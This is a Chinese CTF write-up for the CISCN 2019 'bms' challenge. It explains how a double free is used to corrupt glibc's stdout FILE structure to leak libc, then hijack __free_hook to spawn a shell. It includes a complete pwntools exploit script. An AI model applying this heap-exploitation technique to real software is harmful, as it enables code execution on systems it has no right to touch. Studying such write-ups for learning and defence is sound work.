ciscn2019-bms-update

介绍

国赛2019的一道题,之前使用partial overwrite做的,后面发现还可以利用_IO_FILE进行泄漏,这样就可以100%成功了。

分析程序

见之前的博客,其实就是一个double free。

利用方式

我们可以利用double free去攻击_IO_2_1_stdout_结构体,从而泄漏libc地址。

结构体如下,我们需要做的是

  1. _flags为原来的值
  2. _IO_read_end要等于_IO_write_base
  3. _IO_write_base为要输出的地方
  4. 不能修改_IO_write_ptr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# pwndbg> p *(_IO_FILE *)0x7f22c9b43760
# $1 = {
# _flags = -72537977,
# _IO_read_ptr = 0x7f22c9b437e3 <_IO_2_1_stdout_+131> "\n",
# _IO_read_end = 0x7f22c9b437e3 <_IO_2_1_stdout_+131> "\n",
# _IO_read_base = 0x7f22c9b437e3 <_IO_2_1_stdout_+131> "\n",
# _IO_write_base = 0x7f22c9b437e3 <_IO_2_1_stdout_+131> "\n",
# _IO_write_ptr = 0x7f22c9b437e3 <_IO_2_1_stdout_+131> "\n",
# _IO_write_end = 0x7f22c9b437e3 <_IO_2_1_stdout_+131> "\n",
# _IO_buf_base = 0x7f22c9b437e3 <_IO_2_1_stdout_+131> "\n",
# _IO_buf_end = 0x7f22c9b437e4 <_IO_2_1_stdout_+132> "",
# _IO_save_base = 0x0,
# _IO_backup_base = 0x0,
# _IO_save_end = 0x0,
# _markers = 0x0,
# _chain = 0x7f22c9b42a00 <_IO_2_1_stdin_>,
# _fileno = 1,
# _flags2 = 0,
# _old_offset = -1,
# _cur_column = 0,
# _vtable_offset = 0 '\000',
# _shortbuf = "\n",
# _lock = 0x7f22c9b448c0 <_IO_stdfile_1_lock>,
# _offset = -1,
# _codecvt = 0x0,
# _wide_data = 0x7f22c9b428c0 <_IO_wide_data_1>,
# _freeres_list = 0x0,
# _freeres_buf = 0x0,
# __pad5 = 0,
# _mode = -1,
# _unused2 = '\000' <repeats 19 times>
# }

泄漏了地址后就很好做了,修改_free_hook为system地址,free(“/bin/sh”)即可getshell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

def add(name, size, desc):
p.sendlineafter('>', '1')
p.sendafter('book name:', name)
p.sendafter('description size:', str(size))
p.sendafter('description:', desc)


def delete(idx):
p.sendlineafter('>', '2')
p.sendlineafter('index:', str(idx))


binary = './pwn'
lib = '/lib/x86_64-linux-gnu/libc-2.27.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

# login
p.sendline('admin')
p.sendline('frame')

add('0', 0x60, '0')

delete(0)
delete(0)

add('1', 0x60, p64(0x602020))
add('2', 0x60, p64(0x602020))
add('3', 0x60, '\x60')

_flags = 0x00000000fbad2887
_IO_read_ptr = 0
_IO_read_end = 0x601F60
_IO_read_base = 0
_IO_write_base = 0x601F60
_IO_FILE = [_flags, _IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base]

payload = ''.join(list(map(p64, _IO_FILE)))
add('4', 0x60, payload)

leak = p.recv(6)
libc.address = u64(leak + '\x00\x00') - libc.symbols['free']
p.info('libc.address: %s' % hex(libc.address))

add('5', 0x10, '0')
delete(5)
delete(5)

add('6',0x10,p64(libc.symbols['__free_hook']))
add('7',0x10,p64(libc.symbols['system']))
add('8',0x10,p64(libc.symbols['system']))

add('9',0x33,'/bin/sh\x00')
delete(9)

p.interactive()

参考链接

  1. https://xz.aliyun.com/t/5057 (脚本好像有些问题,但讲的很好)
  2. https://github.com/HackerYunen/CTFWPS/blob/6e58f66b9eeab1ca504bc687652403018da13214/2019national.md#bms